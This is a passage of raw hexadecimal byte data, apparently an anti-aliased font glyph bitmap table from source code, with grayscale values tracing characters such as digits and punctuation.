0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x8A, 0x01, 0x00, 0x00, 0x00, 0x00, 0x6E, 0xFF,
0xD5, 0xB1, 0xFF, 0xA3, 0x00, 0x00, 0x00, 0x00, 0x9C, 0xFF, 0xFF, 0x47, 0x25, 0x34, 0x59, 0xD1,
0xFF, 0xFF, 0x60, 0x00, 0x00, 0x00, 0x00, 0x9F, 0xFF, 0xBD, 0x89, 0xFF, 0xD3, 0x00, 0x00, 0x00,
0x00, 0x9C, 0xFF, 0xFF, 0x24, 0x00, 0x00, 0x00, 0x1B, 0xEC, 0xFF, 0xBC, 0x00, 0x00, 0x00, 0x00,
0xCF, 0xFF, 0x95, 0x3F, 0xFF, 0xFB, 0x1B, 0x00, 0x00, 0x00, 0x9C, 0xFF, 0xFF, 0x24, 0x00, 0x00,
0x00, 0x00, 0xB2, 0xFF, 0xF8, 0x00, 0x00, 0x00, 0x19, 0xF9, 0xFF, 0x4A, 0x04, 0xE7, 0xFF, 0xB6,
0x00, 0x00, 0x00, 0x9C, 0xFF, 0xFF, 0x24, 0x00, 0x00, 0x00, 0x00, 0x8B, 0xFF, 0xFD, 0x00, 0x00,
0x00, 0xB3, 0xFF, 0xED, 0x09, 0x00, 0x69, 0xFF, 0xFF, 0x61, 0x00, 0x00, 0x9C, 0xFF, 0xFF, 0x24,
0x00, 0x00, 0x00, 0x00, 0x81, 0xFF, 0xFF, 0x12, 0x00, 0x5F, 0xFF, 0xFF, 0x72, 0x00, 0x00, 0x05,
0xD3, 0xFF, 0xF0, 0x1E, 0x00, 0x3C, 0x6B, 0x6B, 0x0A, 0x00, 0x00, 0x00, 0x00, 0x2F, 0x6C, 0x6C,
0x0C, 0x1E, 0xF0, 0xFF, 0xD8, 0x07, 0x00, 0x00, 0x00, 0x23, 0xED, 0xFF, 0xEA, 0x52, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x52, 0xEA, 0xFF, 0xEF, 0x26, 0x00, 0x00,
0x00, 0x00, 0x00, 0x3D, 0xEF, 0xFF, 0xFF, 0xA3, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x10, 0xA2, 0xFF, 0xFF, 0xF1, 0x41, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x28, 0xDC, 0xFF,
0xFF, 0xEA, 0xAE, 0x7D, 0x4D, 0x30, 0x4C, 0x7D, 0xAE, 0xEA, 0xFF, 0xFF, 0xDD, 0x2A, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0B, 0x7E, 0xF3, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xF3, 0x80, 0x0C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x12, 0x5E, 0xAA, 0xD5, 0xED, 0xFD, 0xED, 0xD5, 0xAA, 0x5E, 0x12, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x85, 0xA2, 0xA2, 0xA2, 0xA2, 0xA2, 0xA2, 0xA2, 0xA2, 0xA2, 0xA2, 0x16,
0xD9, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x2B, 0x96, 0xB7, 0xB7, 0xB7,
0xB7, 0xB7, 0xB7, 0xB7, 0xB7, 0xB7, 0xB7, 0x1A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x12, 0x11, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0E, 0x98, 0xEC, 0xFF, 0xFF, 0xE2, 0x75, 0x02, 0x00, 0x00,
0x00, 0x16, 0xE0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xB6, 0x01, 0x00, 0x00, 0xB0, 0xFF, 0xFC,
0x86, 0x2C, 0x37, 0xB4, 0xFF, 0xFF, 0x6D, 0x00, 0x16, 0xFF, 0xFF, 0x74, 0x00, 0x00, 0x00, 0x01,
0xBA, 0xFF, 0xD0, 0x00, 0x49, 0xFF, 0xFB, 0x05, 0x00, 0x00, 0x00, 0x00, 0x48, 0xFF, 0xFA, 0x05,
0x4E, 0xFF, 0xFF, 0x03, 0x00, 0x00, 0x00, 0x00, 0x44, 0xFF, 0xFD, 0x09, 0x20, 0xFF, 0xFF, 0x5F,
0x00, 0x00, 0x00, 0x00, 0xA9, 0xFF, 0xD4, 0x00, 0x00, 0xC5, 0xFF, 0xF4, 0x68, 0x0C, 0x19, 0x98,
0xFF, 0xFF, 0x7D, 0x00, 0x00, 0x27, 0xF2, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xC6, 0x04, 0x00,
0x00, 0x00, 0x22, 0xC0, 0xFE, 0xFF, 0xFF, 0xF9, 0x8A, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x0E, 0x3A, 0x30, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4D,
0xBE, 0xBE, 0x93, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x6E, 0xFF, 0xFF, 0xCD, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x6E, 0xFF, 0xFF, 0xCD, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6E, 0xFF, 0xFF, 0xCD, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6E, 0xFF, 0xFF, 0xCD, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x28, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x9A, 0xFF,
0xFF, 0xDF, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x40, 0x00, 0xAB, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x0A, 0xAB, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x0A,
0x7C, 0xC0, 0xC0, 0xC0, 0xC0, 0xC0, 0xC0, 0xE1, 0xFF, 0xFF, 0xF8, 0xC0, 0xC0, 0xC0, 0xC0, 0xC0,
0xC0, 0xBD, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6E, 0xFF, 0xFF, 0xCD, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6E, 0xFF, 0xFF,
0xCD, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x6E, 0xFF, 0xFF, 0xCD, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x6E, 0xFF, 0xFF, 0xCD, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6B, 0xFF, 0xFF, 0xC9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x08, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x13, 0x19, 0x19, 0x16, 0x11, 0x11, 0x11,
0x11, 0x11, 0x11, 0x0F, 0x00, 0xA9, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x09, 0xAB, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x0A, 0xA6, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFC, 0x08, 0x00, 0x00,
0x01, 0x50, 0x54, 0x54, 0x54, 0x08, 0x00, 0x00, 0x64, 0xFF, 0xFF, 0xFF, 0xC5, 0x09, 0x00, 0x17,
0xEF, 0xFF, 0xFF, 0xD2, 0x10, 0x00, 0x00, 0xA9, 0xFF, 0xFF, 0xDD, 0x18, 0x00, 0x00, 0x4B, 0xFF,
0xFF, 0xE7, 0x22, 0x00, 0x00, 0x00, 0xAC, 0xDC, 0xD6, 0x2D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x03, 0x24, 0x24, 0x24, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x22,
0x24, 0x24, 0x0C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x38, 0xFF, 0xFF, 0xFF, 0x4F, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x15, 0xFF, 0xFF, 0xFF, 0x6A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6F, 0xFF, 0xFF,
0xFF, 0x1D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4C, 0xFF, 0xFF, 0xFF, 0x39, 0x00, 0x00, 0x00,
0x00, 0x00, 0xA7, 0xFF, 0xFF, 0xE6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x84, 0xFF, 0xFF,
0xFA, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0xDF, 0xFF, 0xFF, 0xAF, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0xBC, 0xFF, 0xFF, 0xCB, 0x00, 0x00, 0x00, 0x00, 0x00, 0x17, 0xFF, 0xFF, 0xFF, 0x78,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0xF1, 0xFF, 0xFF, 0x94, 0x00, 0x00, 0x00, 0x00, 0x00,
0x4E, 0xFF, 0xFF, 0xFF, 0x41, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2C, 0xFF, 0xFF, 0xFF, 0x5C,
0x00, 0x00, 0x00, 0x00, 0x00, 0x86, 0xFF, 0xFF, 0xFD, 0x0D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x64, 0xFF, 0xFF, 0xFF, 0x25, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBD, 0xFF, 0xFF, 0xD3, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x9C, 0xFF, 0xFF, 0xED, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0xF2,
0xFF, 0xFF, 0x9C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD3, 0xFF, 0xFF, 0xB7, 0x00, 0x00,
0x00, 0x00, 0x00, 0x2C, 0xFF, 0xFF, 0xFF, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x11, 0xFD,
0xFF, 0xFF, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x64, 0xFF, 0xFF, 0xFF, 0x2E, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x65, 0xFF, 0xFF, 0xFF, 0x49, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9C, 0xFF, 0xFF,
0xF3, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC4, 0xFF, 0xFF, 0xFF, 0x13, 0x00, 0x00, 0x00,
0x00, 0x00, 0xD3, 0xFF, 0xFF, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x60, 0xFF, 0xFF, 0xFF,
0xDB, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0D, 0xFD, 0xFF, 0xFF, 0xA2, 0x00, 0x00, 0x00, 0x00, 0x00,
0x2C, 0xF3, 0xFF, 0xFF, 0xFF, 0xA4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x43, 0xFF, 0xFF, 0xFF, 0xDE,
0x0C, 0x00, 0x00, 0x00, 0x64, 0xF4, 0xFF, 0xFF, 0xFF, 0xFF, 0x6D, 0x00, 0x00, 0x00, 0x00, 0x00,
0x7A, 0xFF, 0xFF, 0xFF, 0xFF, 0xDE, 0xA8, 0xAF, 0xE2, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x36,
0x00, 0x00, 0x00, 0x00, 0x00, 0xB2, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xEE,
0x96, 0xFF, 0xFF, 0xF8, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE9, 0xFF, 0xFF, 0xF9, 0xFF, 0xFF,
0xFF, 0xFF, 0xFE, 0x9C, 0x15, 0x82, 0xFF, 0xFF, 0xC8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x21, 0xFF,
0xFF, 0xFF, 0x68, 0x2D, 0x5F, 0x64, 0x44, 0x15, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x59, 0xFF, 0xFF, 0xFF, 0x31, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x90, 0xFF, 0xFF, 0xF5, 0x04, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC8, 0xFF, 0xFF,
0xC3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x07, 0xF9, 0xFF, 0xFF, 0x8C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x37, 0xFF, 0xFF, 0xFF, 0x54, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x61, 0xFF, 0xFF, 0xFF, 0x1D,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0x81, 0xA5, 0xBD, 0xC8, 0xC8,
0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xAA, 0x00, 0x00, 0x00, 0x26, 0xC6, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xE0, 0x00, 0x00, 0x39, 0xF6, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xCD, 0x89, 0x89, 0x8F, 0xFF, 0xFF, 0xED, 0x89, 0x74, 0x00, 0x18,
0xE7, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x87, 0x00, 0x00, 0x08, 0xFF, 0xFF, 0xCD, 0x00,
0x00, 0x00, 0x88, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x87, 0x00, 0x00, 0x08, 0xFF,
0xFF, 0xCD, 0x00, 0x00, 0x07, 0xED, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x87, 0x00,
0x00, 0x08, 0xFF, 0xFF, 0xCD, 0x00, 0x00, 0x2D, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0x87, 0x00, 0x00, 0x08, 0xFF, 0xFF, 0xCD, 0x00, 0x00, 0x4D, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0x87, 0x00, 0x00, 0x08, 0xFF, 0xFF, 0xCD, 0x00, 0x00, 0x5B, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x87, 0x00, 0x00, 0x08, 0xFF, 0xFF, 0xCD, 0x00, 0x00,
0x37, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x87, 0x00, 0x00, 0x08, 0xFF, 0xFF,
0xCD, 0x00, 0x00, 0x0F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x87, 0x00, 0x00,
0x08, 0xFF, 0xFF, 0xCD, 0x00, 0x00, 0x00, 0xCD, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0x87, 0x00, 0x00, 0x08, 0xFF, 0xFF, 0xCD, 0x00, 0x00, 0x00, 0x4A, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0x87, 0x00, 0x00, 0x08, 0xFF, 0xFF, 0xCD, 0x00, 0x00, 0x00, 0x00, 0xC1, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x87, 0x00, 0x00, 0x08, 0xFF, 0xFF, 0xCD, 0x00, 0x00, 0x00,
0x00, 0x0E, 0xB5, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x87, 0x00, 0x00, 0x08, 0xFF, 0xFF, 0xCD,
0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x7E, 0xD0, 0xFB, 0xFF, 0xFF, 0xFF, 0x87, 0x00, 0x00, 0x08,
0xFF, 0xFF, 0xCD, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x09, 0x71, 0xFF, 0xFF, 0x87,
0x00, 0x00, 0x08, 0xFF, 0xFF, 0xCD, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4E,
0xFF, 0xFF, 0x87, 0x00, 0x00, 0x08, 0xFF, 0xFF, 0xCD, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x4E, 0xFF, 0xFF, 0x87, 0x00, 0x00, 0x08, 0xFF, 0xFF, 0xCD, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x4E, 0xFF, 0xFF, 0x87, 0x00, 0x00, 0x08, 0xFF, 0xFF, 0xCD, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4E, 0xFF, 0xFF, 0x87, 0x00, 0x00, 0x08, 0xFF,
0xFF, 0xCD, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4E, 0xFF, 0xFF, 0x87, 0x00,
0x00, 0x08, 0xFF, 0xFF, 0xCD, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4E, 0xFF,
0xFF, 0x87, 0x00, 0x00, 0x08, 0xFF, 0xFF, 0xCD, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x4E, 0xFF, 0xFF, 0x87, 0x00, 0x00, 0x08, 0xFF, 0xFF, 0xCD, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x4E, 0xFF, 0xFF, 0x87, 0x00, 0x00, 0x08, 0xFF, 0xFF, 0xCD, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4E, 0xFF, 0xFF, 0x87, 0x00, 0x00, 0x08, 0xFF, 0xFF,
0xCD, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4E, 0xFF, 0xFF, 0x87, 0x00, 0x00,
0x08, 0xFF, 0xFF, 0xCD, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4E, 0xFF, 0xFF,
0x87, 0x00, 0x00, 0x08, 0xFF, 0xFF, 0xCD, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x4E, 0xFF, 0xFF, 0x87, 0x00, 0x00, 0x08, 0xFF, 0xFF, 0xCD, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x4E, 0xFF, 0xFF, 0x87, 0x00, 0x00, 0x08, 0xFF, 0xFF, 0xCD, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4B, 0xFF, 0xFF, 0x83, 0x00, 0x00, 0x07, 0xFD, 0xFF, 0xC9,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0x06, 0x02, 0x00, 0x00, 0x00,
0x05, 0x06, 0x04, 0x00, 0x00, 0x00, 0x00, 0x13, 0x02, 0x00, 0x19, 0xC5, 0xFF, 0xDF, 0x43, 0x7F,
0xFF, 0xFF, 0xFF, 0xC3, 0x9B, 0xFF, 0xFF, 0xFF, 0xDE, 0x37, 0xFC, 0xFF, 0xFF, 0x76, 0x00, 0x1D,
0x71, 0x35, 0x00, 0x00, 0x00, 0x00, 0x03, 0x61, 0x64, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x81,
0xFF, 0xC5, 0x04, 0x00, 0x00, 0x00, 0x00, 0x3F, 0xFD, 0xFF, 0x7B, 0x2F, 0x00, 0x00, 0x00, 0x01,
0xE3, 0xFF, 0xFF, 0xFF, 0xFF, 0xC5, 0x00, 0x00, 0x00, 0x71, 0x7B, 0x8D, 0xF5, 0xFF, 0xFF, 0x3F,
0x00, 0x00, 0x00, 0x00, 0x00, 0xA7, 0xFF, 0xFF, 0x7C, 0x00, 0x9D, 0x8F, 0x5F, 0x79, 0xF3, 0xFF,
0xFF, 0x4B, 0x1F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xA7, 0x00, 0x00, 0x29, 0x6F, 0x93, 0xA2,
0x85, 0x47, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x4E, 0x63, 0x49, 0x1C, 0x00, 0x00, 0x00,
0x00, 0x00, 0x1E, 0xD0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFD, 0x95, 0x0E, 0x00, 0x00, 0x25, 0xE2, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xB5, 0x00, 0x00, 0xB7, 0xFF, 0xFF, 0xAE, 0x16, 0x01, 0x51,
0xF2, 0xFF, 0xFF, 0x50, 0x1D, 0xFE, 0xFF, 0xE5, 0x08, 0x00, 0x00, 0x00, 0x74, 0xFF, 0xFF, 0x96,
0x47, 0xFF, 0xFF, 0x93, 0x00, 0x00, 0x00, 0x00, 0x23, 0xFF, 0xFF, 0xBC, 0x5F, 0xFF, 0xFF, 0x81,
0x00, 0x00, 0x00, 0x00, 0x18, 0xFF, 0xFF, 0xD1, 0x47, 0xFF, 0xFF, 0xB9, 0x00, 0x00, 0x00, 0x00,
0x48, 0xFF, 0xFF, 0xB0, 0x1D, 0xFE, 0xFF, 0xF6, 0x09, 0x00, 0x00, 0x00, 0x9F, 0xFF, 0xFF, 0x87,
0x00, 0xB5, 0xFF, 0xFF, 0xBA, 0x36, 0x35, 0x90, 0xFF, 0xFF, 0xF8, 0x21, 0x00, 0x20, 0xDA, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x7C, 0x00, 0x00, 0x00, 0x17, 0xB5, 0xF3, 0xFF, 0xFF, 0xFF,
0xE3, 0x53, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x2B, 0x3C, 0x13, 0x00, 0x00, 0x00, 0x00,
0x3D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x3C, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF9, 0x93, 0x05,
0x00, 0x00, 0x00, 0x05, 0xFF, 0x8B, 0x03, 0x00, 0x00, 0x00, 0xFA, 0xFF, 0xC6, 0x1B, 0x00, 0x00,
0x05, 0xFF, 0xFF, 0xC0, 0x17, 0x00, 0x00, 0xF9, 0xFF, 0xFF, 0xE9, 0x40, 0x00, 0x05, 0xFF, 0xFF,
0xFF, 0xE5, 0x3B, 0x00, 0x57, 0xF4, 0xFF, 0xFF, 0xFC, 0x6B, 0x00, 0x5F, 0xF7, 0xFF, 0xFF, 0xFA,
0x65, 0x00, 0x2B, 0xDA, 0xFF, 0xFF, 0xC3, 0x00, 0x00, 0x31, 0xDF, 0xFF, 0xFF, 0xBC, 0x00, 0x00,
0x1A, 0xFD, 0xFF, 0xC3, 0x00, 0x00, 0x00, 0x21, 0xFF, 0xFF, 0xBC, 0x00, 0x24, 0xD2, 0xFF, 0xFF,
0xC3, 0x00, 0x00, 0x2A, 0xD8, 0xFF, 0xFF, 0xBC, 0x4C, 0xF0, 0xFF, 0xFF, 0xFE, 0x74, 0x00, 0x54,
0xF3, 0xFF, 0xFF, 0xFD, 0x6D, 0xF9, 0xFF, 0xFF, 0xEE, 0x4A, 0x00, 0x04, 0xFF, 0xFF, 0xFF, 0xEB,
0x44, 0x00, 0xFA, 0xFF, 0xCE, 0x21, 0x00, 0x00, 0x05, 0xFF, 0xFF, 0xC9, 0x1D, 0x00, 0x00, 0xFA,
0x9E, 0x08, 0x00, 0x00, 0x00, 0x05, 0xFF, 0x96, 0x06, 0x00, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00,
0x00, 0x00, 0x01, 0x46, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05,
0x41, 0x41, 0x41, 0x1F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x26, 0xFF, 0xFF, 0xFF, 0x8C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x26, 0xFF, 0xFF, 0xFF, 0x8C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x26, 0xFF, 0xFF, 0xFF, 0x8C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x12, 0x9A, 0x9B, 0x9B, 0x50, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0x08, 0x08, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE9, 0xFF, 0xFF, 0x6B, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0xF8, 0xFF, 0xFF, 0x66, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2B, 0xFF, 0xFF, 0xFF, 0x53, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9B, 0xFF, 0xFF, 0xFF, 0x1C, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x57, 0xFE, 0xFF, 0xFF, 0xB4, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x44, 0xF8, 0xFF, 0xFF, 0xEE, 0x1E, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3D, 0xF6, 0xFF, 0xFF, 0xF9, 0x40, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2E, 0xF0, 0xFF, 0xFF, 0xFE, 0x5B, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0C, 0xDA, 0xFF, 0xFF, 0xFF, 0x6D, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x70, 0xFF, 0xFF, 0xFF, 0x98, 0x00,
